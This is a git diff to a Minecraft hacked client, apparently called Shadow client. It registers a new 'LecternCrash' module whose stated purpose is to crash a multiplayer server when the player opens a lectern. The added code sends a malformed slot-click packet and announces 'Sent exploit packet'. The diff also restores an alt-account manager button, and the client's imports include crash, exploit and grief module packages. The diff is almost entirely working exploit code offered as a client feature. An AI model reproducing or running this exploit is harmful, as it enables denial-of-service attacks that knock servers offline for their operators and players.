diff --git a/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java b/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java index a89ccbf..b813150 100644 --- a/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java +++ b/src/main/java/net/shadow/client/feature/gui/screen/HomeScreen.java @@ -115,8 +115,8 @@ public class HomeScreen extends ClientScreen implements FastTickable { buttonsMap.add(new AbstractMap.SimpleEntry<>("Multiplayer", () -> ShadowMain.client.setScreen(new MultiplayerScreen(this)))); buttonsMap.add(new AbstractMap.SimpleEntry<>("Realms", () -> ShadowMain.client.setScreen(new RealmsMainScreen(this)))); buttonsMap.add(new AbstractMap.SimpleEntry<>("Alts", () -> ShadowMain.client.setScreen( -// AltManagerScreen.instance() - new AddonManagerScreen() + AltManagerScreen.instance() +// new AddonManagerScreen() ))); buttonsMap.add(new AbstractMap.SimpleEntry<>("Settings", () -> ShadowMain.client.setScreen(new OptionsScreen(this, ShadowMain.client.options)))); widgetsHeight = buttonsMap.size() * (widgetHeight + widPad) - widPad; diff --git a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java index f5a42b3..c61fcd8 100644 --- a/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java +++ b/src/main/java/net/shadow/client/feature/module/ModuleRegistry.java @@ -9,6 +9,7 @@ import net.shadow.client.feature.addon.Addon; import net.shadow.client.feature.module.impl.combat.*; import net.shadow.client.feature.module.impl.crash.AnimationCrash; import net.shadow.client.feature.module.impl.crash.BookInflator; +import net.shadow.client.feature.module.impl.crash.LecternCrash; import net.shadow.client.feature.module.impl.exploit.*; import net.shadow.client.feature.module.impl.grief.*; import net.shadow.client.feature.module.impl.misc.*; @@ -175,6 +176,7 @@ public class ModuleRegistry { vanillaModules.add(new AutoFireball()); vanillaModules.add(new AutoFish()); vanillaModules.add(new AutoRun()); + vanillaModules.add(new LecternCrash()); rebuildSharedModuleList(); } diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/LecternCrash.java b/src/main/java/net/shadow/client/feature/module/impl/crash/LecternCrash.java new file mode 100644 index 0000000..f47cefc --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/LecternCrash.java @@ -0,0 +1,61 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.crash; + +import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap; +import it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket; +import net.minecraft.screen.LecternScreenHandler; +import net.minecraft.screen.slot.SlotActionType; +import net.shadow.client.feature.gui.notifications.Notification; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; +import net.minecraft.client.util.math.MatrixStack; +import net.shadow.client.helper.event.EventType; +import net.shadow.client.helper.event.Events; + +public class LecternCrash extends Module { + public LecternCrash() { + super("LecternCrash", "Crashes the server when you right click a lectern", ModuleType.CRASH); + } + + @Override + public void tick() { + if (client.player.currentScreenHandler instanceof LecternScreenHandler handler) { + int sid = handler.syncId; + ClickSlotC2SPacket p = new ClickSlotC2SPacket(sid,0,0,0, SlotActionType.QUICK_MOVE,new ItemStack(Items.AIR),new Int2ObjectOpenHashMap<>()); + client.getNetworkHandler().sendPacket(p); + client.player.closeHandledScreen(); + Notification.create(5000,"LecternCrash", Notification.Type.SUCCESS,"Sent exploit packet"); + } + } + + @Override + public void enable() { + + } + + @Override + public void disable() { + + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } +}